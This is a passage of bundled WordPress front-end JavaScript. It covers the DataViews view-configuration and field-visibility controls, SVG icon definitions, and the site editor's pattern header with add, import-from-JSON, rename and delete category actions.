      onChangeView({
        ...view,
        fields: [...((_visibleFieldIds$slic2 = visibleFieldIds.slice(0, index)) !== null && _visibleFieldIds$slic2 !== void 0 ? _visibleFieldIds$slic2 : []), visibleFieldIds[index + 1], field.id, ...visibleFieldIds.slice(index + 2)]
      });
    } : undefined
  });
}
function dataviews_view_config_isDefined(item) {
  return !!item;
}
function FieldControl() {
  var _view$fields2;
  const {
    view,
    fields,
    onChangeView
  } = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
  const togglableFields = [view?.titleField, view?.mediaField, view?.descriptionField].filter(Boolean);
  const visibleFieldIds = (_view$fields2 = view.fields) !== null && _view$fields2 !== void 0 ? _view$fields2 : [];
  const hiddenFields = fields.filter(f => !visibleFieldIds.includes(f.id) && !togglableFields.includes(f.id) && f.type !== 'media');
  const visibleFields = visibleFieldIds.map(fieldId => fields.find(f => f.id === fieldId)).filter(dataviews_view_config_isDefined);
  if (!visibleFields?.length && !hiddenFields?.length) {
    return null;
  }
  const titleField = fields.find(f => f.id === view.titleField);
  const previewField = fields.find(f => f.id === view.mediaField);
  const descriptionField = fields.find(f => f.id === view.descriptionField);
  const previewFields = fields.filter(f => f.type === 'media');
  let previewFieldUI;
  if (previewFields.length > 1) {
    var _view$showMedia;
    const isPreviewFieldVisible = dataviews_view_config_isDefined(previewField) && ((_view$showMedia = view.showMedia) !== null && _view$showMedia !== void 0 ? _view$showMedia : true);
    previewFieldUI = dataviews_view_config_isDefined(previewField) && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FieldItem, {
      field: previewField,
      label: (0,external_wp_i18n_namespaceObject.__)('Preview'),
      description: previewField.label,
      isVisible: isPreviewFieldVisible,
      onToggleVisibility: () => {
        onChangeView({
          ...view,
          showMedia: !isPreviewFieldVisible
        });
      },
      canMove: false,
      previewOptions: previewFields.map(field => ({
        label: field.label,
        id: field.id
      })),
      onChangePreviewOption: newPreviewId => onChangeView({
        ...view,
        mediaField: newPreviewId
      })
    }, previewField.id);
  }
  const lockedFields = [{
    field: titleField,
    isVisibleFlag: 'showTitle'
  }, {
    field: previewField,
    isVisibleFlag: 'showMedia',
    ui: previewFieldUI
  }, {
    field: descriptionField,
    isVisibleFlag: 'showDescription'
  }].filter(({
    field
  }) => dataviews_view_config_isDefined(field));
  const visibleLockedFields = lockedFields.filter(({
    field,
    isVisibleFlag
  }) => {
    var _view$isVisibleFlag;
    return (
      // @ts-expect-error
      dataviews_view_config_isDefined(field) && ((_view$isVisibleFlag = view[isVisibleFlag]) !== null && _view$isVisibleFlag !== void 0 ? _view$isVisibleFlag : true)
    );
  });
  const hiddenLockedFields = lockedFields.filter(({
    field,
    isVisibleFlag
  }) => {
    var _view$isVisibleFlag2;
    return (
      // @ts-expect-error
      dataviews_view_config_isDefined(field) && !((_view$isVisibleFlag2 = view[isVisibleFlag]) !== null && _view$isVisibleFlag2 !== void 0 ? _view$isVisibleFlag2 : true)
    );
  });
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
    className: "dataviews-field-control",
    spacing: 6,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
      className: "dataviews-view-config__properties",
      spacing: 0,
      children: (visibleLockedFields.length > 0 || !!visibleFields?.length) && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalItemGroup, {
        isBordered: true,
        isSeparated: true,
        children: [visibleLockedFields.map(({
          field,
          isVisibleFlag,
          ui
        }) => {
          return ui !== null && ui !== void 0 ? ui : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FieldItem, {
            field: field,
            isVisible: true,
            onToggleVisibility: () => {
              onChangeView({
                ...view,
                [isVisibleFlag]: false
              });
            },
            canMove: false
          }, field.id);
        }), visibleFields.map((field, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(RegularFieldItem, {
          field: field,
          view: view,
          onChangeView: onChangeView,
          index: index
        }, field.id))]
      })
    }), (!!hiddenFields?.length || !!hiddenLockedFields.length) && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
      spacing: 4,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.BaseControl.VisualLabel, {
        style: {
          margin: 0
        },
        children: (0,external_wp_i18n_namespaceObject.__)('Hidden')
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
        className: "dataviews-view-config__properties",
        spacing: 0,
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalItemGroup, {
          isBordered: true,
          isSeparated: true,
          children: [hiddenLockedFields.length > 0 && hiddenLockedFields.map(({
            field,
            isVisibleFlag,
            ui
          }) => {
            return ui !== null && ui !== void 0 ? ui : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FieldItem, {
              field: field,
              isVisible: false,
              onToggleVisibility: () => {
                onChangeView({
                  ...view,
                  [isVisibleFlag]: true
                });
              },
              canMove: false
            }, field.id);
          }), hiddenFields.map(field => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(RegularFieldItem, {
            field: field,
            view: view,
            onChangeView: onChangeView
          }, field.id))]
        })
      })]
    })]
  });
}
function SettingsSection({
  title,
  description,
  children
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalGrid, {
    columns: 12,
    className: "dataviews-settings-section",
    gap: 4,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
      className: "dataviews-settings-section__sidebar",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
        level: 2,
        className: "dataviews-settings-section__title",
        children: title
      }), description && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
        variant: "muted",
        className: "dataviews-settings-section__description",
        children: description
      })]
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalGrid, {
      columns: 8,
      gap: 4,
      className: "dataviews-settings-section__content",
      children: children
    })]
  });
}
function DataviewsViewConfigDropdown() {
  const {
    view
  } = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
  const popoverId = (0,external_wp_compose_namespaceObject.useInstanceId)(_DataViewsViewConfig, 'dataviews-view-config-dropdown');
  const activeLayout = VIEW_LAYOUTS.find(layout => layout.type === view.type);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Dropdown, {
    expandOnMobile: true,
    popoverProps: {
      ...DATAVIEWS_CONFIG_POPOVER_PROPS,
      id: popoverId
    },
    renderToggle: ({
      onToggle,
      isOpen
    }) => {
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        size: "compact",
        icon: library_cog,
        label: (0,external_wp_i18n_namespaceObject._x)('View options', 'View is used as a noun'),
        onClick: onToggle,
        "aria-expanded": isOpen ? 'true' : 'false',
        "aria-controls": popoverId
      });
    },
    renderContent: () => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalDropdownContentWrapper, {
      paddingSize: "medium",
      className: "dataviews-config__popover-content-wrapper",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
        className: "dataviews-view-config",
        spacing: 6,
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(SettingsSection, {
          title: (0,external_wp_i18n_namespaceObject.__)('Appearance'),
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
            expanded: true,
            className: "is-divided-in-two",
            children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SortFieldControl, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SortDirectionControl, {})]
          }), !!activeLayout?.viewConfigOptions && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(activeLayout.viewConfigOptions, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ItemsPerPageControl, {})]
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SettingsSection, {
          title: (0,external_wp_i18n_namespaceObject.__)('Properties'),
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FieldControl, {})
        })]
      })
    })
  });
}
function _DataViewsViewConfig({
  defaultLayouts = {
    list: {},
    grid: {},
    table: {}
  }
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ViewTypeMenu, {
      defaultLayouts: defaultLayouts
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataviewsViewConfigDropdown, {})]
  });
}
const DataViewsViewConfig = (0,external_wp_element_namespaceObject.memo)(_DataViewsViewConfig);
/* harmony default export */ const dataviews_view_config = (DataViewsViewConfig);

;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews/index.js
/**
 * External dependencies
 */

/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */








const defaultGetItemId = item => item.id;
const defaultIsItemClickable = () => true;
const dataviews_EMPTY_ARRAY = [];
function DataViews({
  view,
  onChangeView,
  fields,
  search = true,
  searchLabel = undefined,
  actions = dataviews_EMPTY_ARRAY,
  data,
  getItemId = defaultGetItemId,
  getItemLevel,
  isLoading = false,
  paginationInfo,
  defaultLayouts,
  selection: selectionProperty,
  onChangeSelection,
  onClickItem,
  isItemClickable = defaultIsItemClickable,
  header
}) {
  const [containerWidth, setContainerWidth] = (0,external_wp_element_namespaceObject.useState)(0);
  const containerRef = (0,external_wp_compose_namespaceObject.useResizeObserver)(resizeObserverEntries => {
    setContainerWidth(resizeObserverEntries[0].borderBoxSize[0].inlineSize);
  }, {
    box: 'border-box'
  });
  const [selectionState, setSelectionState] = (0,external_wp_element_namespaceObject.useState)([]);
  const isUncontrolled = selectionProperty === undefined || onChangeSelection === undefined;
  const selection = isUncontrolled ? selectionState : selectionProperty;
  const [openedFilter, setOpenedFilter] = (0,external_wp_element_namespaceObject.useState)(null);
  function setSelectionWithChange(value) {
    const newValue = typeof value === 'function' ? value(selection) : value;
    if (isUncontrolled) {
      setSelectionState(newValue);
    }
    if (onChangeSelection) {
      onChangeSelection(newValue);
    }
  }
  const _fields = (0,external_wp_element_namespaceObject.useMemo)(() => normalizeFields(fields), [fields]);
  const _selection = (0,external_wp_element_namespaceObject.useMemo)(() => {
    return selection.filter(id => data.some(item => getItemId(item) === id));
  }, [selection, data, getItemId]);
  const filters = useFilters(_fields, view);
  const [isShowingFilter, setIsShowingFilter] = (0,external_wp_element_namespaceObject.useState)(() => (filters || []).some(filter => filter.isPrimary));
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_context.Provider, {
    value: {
      view,
      onChangeView,
      fields: _fields,
      actions,
      data,
      isLoading,
      paginationInfo,
      selection: _selection,
      onChangeSelection: setSelectionWithChange,
      openedFilter,
      setOpenedFilter,
      getItemId,
      getItemLevel,
      isItemClickable,
      onClickItem,
      containerWidth
    },
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
      className: "dataviews-wrapper",
      ref: containerRef,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
        alignment: "top",
        justify: "space-between",
        className: "dataviews__view-actions",
        spacing: 1,
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
          justify: "start",
          expanded: false,
          className: "dataviews__search",
          children: [search && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_search, {
            label: searchLabel
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FiltersToggle, {
            filters: filters,
            view: view,
            onChangeView: onChangeView,
            setOpenedFilter: setOpenedFilter,
            setIsShowingFilter: setIsShowingFilter,
            isShowingFilter: isShowingFilter
          })]
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
          spacing: 1,
          expanded: false,
          style: {
            flexShrink: 0
          },
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_view_config, {
            defaultLayouts: defaultLayouts
          }), header]
        })]
      }), isShowingFilter && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_filters, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViewsLayout, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViewsFooter, {})]
    })
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/use-pattern-settings.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */



function usePatternSettings() {
  var _storedSettings$__exp;
  const storedSettings = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getSettings
    } = unlock(select(store));
    return getSettings();
  }, []);
  const settingsBlockPatterns = (_storedSettings$__exp = storedSettings.__experimentalAdditionalBlockPatterns) !== null && _storedSettings$__exp !== void 0 ? _storedSettings$__exp :
  // WP 6.0
  storedSettings.__experimentalBlockPatterns; // WP 5.9

  const restBlockPatterns = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getBlockPatterns(), []);
  const blockPatterns = (0,external_wp_element_namespaceObject.useMemo)(() => [...(settingsBlockPatterns || []), ...(restBlockPatterns || [])].filter(filterOutDuplicatesByName), [settingsBlockPatterns, restBlockPatterns]);
  const settings = (0,external_wp_element_namespaceObject.useMemo)(() => {
    const {
      __experimentalAdditionalBlockPatterns,
      ...restStoredSettings
    } = storedSettings;
    return {
      ...restStoredSettings,
      __experimentalBlockPatterns: blockPatterns,
      isPreviewMode: true
    };
  }, [storedSettings, blockPatterns]);
  return settings;
}

;// ./node_modules/@wordpress/icons/build-module/library/symbol-filled.js
/**
 * WordPress dependencies
 */


const symbolFilled = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-17.6 1L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z"
  })
});
/* harmony default export */ const symbol_filled = (symbolFilled);

;// ./node_modules/@wordpress/icons/build-module/library/upload.js
/**
 * WordPress dependencies
 */


const upload = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M18.5 15v3.5H13V6.7l4.5 4.1 1-1.1-6.2-5.8-5.8 5.8 1 1.1 4-4v11.7h-6V15H4v5h16v-5z"
  })
});
/* harmony default export */ const library_upload = (upload);

;// ./node_modules/@wordpress/edit-site/build-module/components/add-new-pattern/index.js
/**
 * WordPress dependencies
 */











/**
 * Internal dependencies
 */



const {
  useHistory: add_new_pattern_useHistory,
  useLocation: add_new_pattern_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
const {
  CreatePatternModal,
  useAddPatternCategory
} = unlock(external_wp_patterns_namespaceObject.privateApis);
const {
  CreateTemplatePartModal
} = unlock(external_wp_editor_namespaceObject.privateApis);
function AddNewPattern() {
  const history = add_new_pattern_useHistory();
  const location = add_new_pattern_useLocation();
  const [showPatternModal, setShowPatternModal] = (0,external_wp_element_namespaceObject.useState)(false);
  const [showTemplatePartModal, setShowTemplatePartModal] = (0,external_wp_element_namespaceObject.useState)(false);
  // eslint-disable-next-line @wordpress/no-unused-vars-before-return
  const {
    createPatternFromFile
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(external_wp_patterns_namespaceObject.store));
  const {
    createSuccessNotice,
    createErrorNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  const patternUploadInputRef = (0,external_wp_element_namespaceObject.useRef)();
  const {
    isBlockBasedTheme,
    addNewPatternLabel,
    addNewTemplatePartLabel,
    canCreatePattern,
    canCreateTemplatePart
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentTheme,
      getPostType,
      canUser
    } = select(external_wp_coreData_namespaceObject.store);
    return {
      isBlockBasedTheme: getCurrentTheme()?.is_block_theme,
      addNewPatternLabel: getPostType(PATTERN_TYPES.user)?.labels?.add_new_item,
      addNewTemplatePartLabel: getPostType(TEMPLATE_PART_POST_TYPE)?.labels?.add_new_item,
      // Blocks refers to the wp_block post type, this checks the ability to create a post of that type.
      canCreatePattern: canUser('create', {
        kind: 'postType',
        name: PATTERN_TYPES.user
      }),
      canCreateTemplatePart: canUser('create', {
        kind: 'postType',
        name: TEMPLATE_PART_POST_TYPE
      })
    };
  }, []);
  function handleCreatePattern({
    pattern
  }) {
    setShowPatternModal(false);
    history.navigate(`/${PATTERN_TYPES.user}/${pattern.id}?canvas=edit`);
  }
  function handleCreateTemplatePart(templatePart) {
    setShowTemplatePartModal(false);
    history.navigate(`/${TEMPLATE_PART_POST_TYPE}/${templatePart.id}?canvas=edit`);
  }
  function handleError() {
    setShowPatternModal(false);
    setShowTemplatePartModal(false);
  }
  const controls = [];
  if (canCreatePattern) {
    controls.push({
      icon: library_symbol,
      onClick: () => setShowPatternModal(true),
      title: addNewPatternLabel
    });
  }
  if (isBlockBasedTheme && canCreateTemplatePart) {
    controls.push({
      icon: symbol_filled,
      onClick: () => setShowTemplatePartModal(true),
      title: addNewTemplatePartLabel
    });
  }
  if (canCreatePattern) {
    controls.push({
      icon: library_upload,
      onClick: () => {
        patternUploadInputRef.current.click();
      },
      title: (0,external_wp_i18n_namespaceObject.__)('Import pattern from JSON')
    });
  }
  const {
    categoryMap,
    findOrCreateTerm
  } = useAddPatternCategory();
  if (controls.length === 0) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [addNewPatternLabel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropdownMenu, {
      controls: controls,
      icon: null,
      toggleProps: {
        variant: 'primary',
        showTooltip: false,
        __next40pxDefaultSize: true
      },
      text: addNewPatternLabel,
      label: addNewPatternLabel
    }), showPatternModal && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CreatePatternModal, {
      onClose: () => setShowPatternModal(false),
      onSuccess: handleCreatePattern,
      onError: handleError
    }), showTemplatePartModal && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CreateTemplatePartModal, {
      closeModal: () => setShowTemplatePartModal(false),
      blocks: [],
      onCreate: handleCreateTemplatePart,
      onError: handleError
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("input", {
      type: "file",
      accept: ".json",
      hidden: true,
      ref: patternUploadInputRef,
      onChange: async event => {
        const file = event.target.files?.[0];
        if (!file) {
          return;
        }
        try {
          let currentCategoryId;
          // When we're not handling template parts, we should
          // add or create the proper pattern category.
          if (location.query.postType !== TEMPLATE_PART_POST_TYPE) {
            /*
             * categoryMap.values() returns an iterator.
             * Iterator.prototype.find() is not yet widely supported.
             * Convert to array to use the Array.prototype.find method.
             */
            const currentCategory = Array.from(categoryMap.values()).find(term => term.name === location.query.categoryId);
            if (currentCategory) {
              currentCategoryId = currentCategory.id || (await findOrCreateTerm(currentCategory.label));
            }
          }
          const pattern = await createPatternFromFile(file, currentCategoryId ? [currentCategoryId] : undefined);

          // Navigate to the All patterns category for the newly created pattern
          // if we're not on that page already and if we're not in the `my-patterns`
          // category.
          if (!currentCategoryId && location.query.categoryId !== 'my-patterns') {
            history.navigate(`/pattern?categoryId=${PATTERN_DEFAULT_CATEGORY}`);
          }
          createSuccessNotice((0,external_wp_i18n_namespaceObject.sprintf)(
          // translators: %s: The imported pattern's title.
          (0,external_wp_i18n_namespaceObject.__)('Imported "%s" from JSON.'), pattern.title.raw), {
            type: 'snackbar',
            id: 'import-pattern-success'
          });
        } catch (err) {
          createErrorNotice(err.message, {
            type: 'snackbar',
            id: 'import-pattern-error'
          });
        } finally {
          event.target.value = '';
        }
      }
    })]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/rename-category-menu-item.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */


/**
 * Internal dependencies
 */


const {
  RenamePatternCategoryModal
} = unlock(external_wp_patterns_namespaceObject.privateApis);
function RenameCategoryMenuItem({
  category,
  onClose
}) {
  const [isModalOpen, setIsModalOpen] = (0,external_wp_element_namespaceObject.useState)(false);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
      onClick: () => setIsModalOpen(true),
      children: (0,external_wp_i18n_namespaceObject.__)('Rename')
    }), isModalOpen && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(rename_category_menu_item_RenameModal, {
      category: category,
      onClose: () => {
        setIsModalOpen(false);
        onClose();
      }
    })]
  });
}
function rename_category_menu_item_RenameModal({
  category,
  onClose
}) {
  // User created pattern categories have their properties updated when
  // retrieved via `getUserPatternCategories`. The rename modal expects an
  // object that will match the pattern category entity.
  const normalizedCategory = {
    id: category.id,
    slug: category.slug,
    name: category.label
  };

  // Optimization - only use pattern categories when the modal is open.
  const existingCategories = usePatternCategories();
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(RenamePatternCategoryModal, {
    category: normalizedCategory,
    existingCategories: existingCategories,
    onClose: onClose,
    overlayClassName: "edit-site-list__rename-modal",
    focusOnMount: "firstContentElement",
    size: "small"
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/delete-category-menu-item.js
/**
 * WordPress dependencies
 */









/**
 * Internal dependencies
 */



const {
  useHistory: delete_category_menu_item_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
function DeleteCategoryMenuItem({
  category,
  onClose
}) {
  const [isModalOpen, setIsModalOpen] = (0,external_wp_element_namespaceObject.useState)(false);
  const history = delete_category_menu_item_useHistory();
  const {
    createSuccessNotice,
    createErrorNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  const {
    deleteEntityRecord,
    invalidateResolution
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  const onDelete = async () => {
    try {
      await deleteEntityRecord('taxonomy', 'wp_pattern_category', category.id, {
        force: true
      }, {
        throwOnError: true
      });

      // Prevent the need to refresh the page to get up-to-date categories
      // and pattern categorization.
      invalidateResolution('getUserPatternCategories');
      invalidateResolution('getEntityRecords', ['postType', PATTERN_TYPES.user, {
        per_page: -1
      }]);
      createSuccessNotice((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: The pattern category's name */
      (0,external_wp_i18n_namespaceObject._x)('"%s" deleted.', 'pattern category'), category.label), {
        type: 'snackbar',
        id: 'pattern-category-delete'
      });
      onClose?.();
      history.navigate(`/pattern?categoryId=${PATTERN_DEFAULT_CATEGORY}`);
    } catch (error) {
      const errorMessage = error.message && error.code !== 'unknown_error' ? error.message : (0,external_wp_i18n_namespaceObject.__)('An error occurred while deleting the pattern category.');
      createErrorNotice(errorMessage, {
        type: 'snackbar',
        id: 'pattern-category-delete'
      });
    }
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
      isDestructive: true,
      onClick: () => setIsModalOpen(true),
      children: (0,external_wp_i18n_namespaceObject.__)('Delete')
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalConfirmDialog, {
      isOpen: isModalOpen,
      onConfirm: onDelete,
      onCancel: () => setIsModalOpen(false),
      confirmButtonText: (0,external_wp_i18n_namespaceObject.__)('Delete'),
      className: "edit-site-patterns__delete-modal",
      title: (0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: %s: The pattern category's name.
      (0,external_wp_i18n_namespaceObject._x)('Delete "%s"?', 'pattern category'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(category.label)),
      size: "medium",
      __experimentalHideHeader: false,
      children: (0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: %s: The pattern category's name.
      (0,external_wp_i18n_namespaceObject.__)('Are you sure you want to delete the category "%s"? The patterns will not be deleted.'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(category.label))
    })]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/header.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */






function PatternsHeader({
  categoryId,
  type,
  titleId,
  descriptionId
}) {
  const {
    patternCategories
  } = usePatternCategories();
  const templatePartAreas = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.default_template_part_areas || [], []);
  let title, description, patternCategory;
  if (type === TEMPLATE_PART_POST_TYPE) {
    const templatePartArea = templatePartAreas.find(area => area.area === categoryId);
    title = templatePartArea?.label || (0,external_wp_i18n_namespaceObject.__)('All Template Parts');
    description = templatePartArea?.description || (0,external_wp_i18n_namespaceObject.__)('Includes every template part defined for any area.');
  } else if (type === PATTERN_TYPES.user && !!categoryId) {
    patternCategory = patternCategories.find(category => category.name === categoryId);
    title = patternCategory?.label;
    description = patternCategory?.description;
  }
  if (!title) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
    className: "edit-site-patterns__section-header",
    spacing: 1,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      justify: "space-between",
      className: "edit-site-patterns__title",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
        as: "h2",
        level: 3,
        id: titleId,
        weight: 500,
        truncate: true,
        children: title
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
        expanded: false,
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(AddNewPattern, {}), !!patternCategory?.id && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropdownMenu, {
          icon: more_vertical,
          label: (0,external_wp_i18n_namespaceObject.__)('Actions'),
          toggleProps: {
            className: 'edit-site-patterns__button',
            description: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: pattern category name */
            (0,external_wp_i18n_namespaceObject.__)('Action menu for %s pattern category'), title),
            size: 'compact'
          },
          children: ({
            onClose
          }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, {
            children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(RenameCategoryMenuItem, {
              category: patternCategory,
              onClose: onClose
            }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DeleteCategoryMenuItem, {
              category: patternCategory,
              onClose: onClose
            })]
          })
        })]
      })]
    }), description ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
      variant: "muted",
      as: "p",
      id: descriptionId,
      className: "edit-site-patterns__sub-title",
      children: description
    }) : null]
  });
}

;// ./node_modules/@wordpress/icons/build-module/library/pencil.js
/**
 * WordPress dependencies
 */


const pencil = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
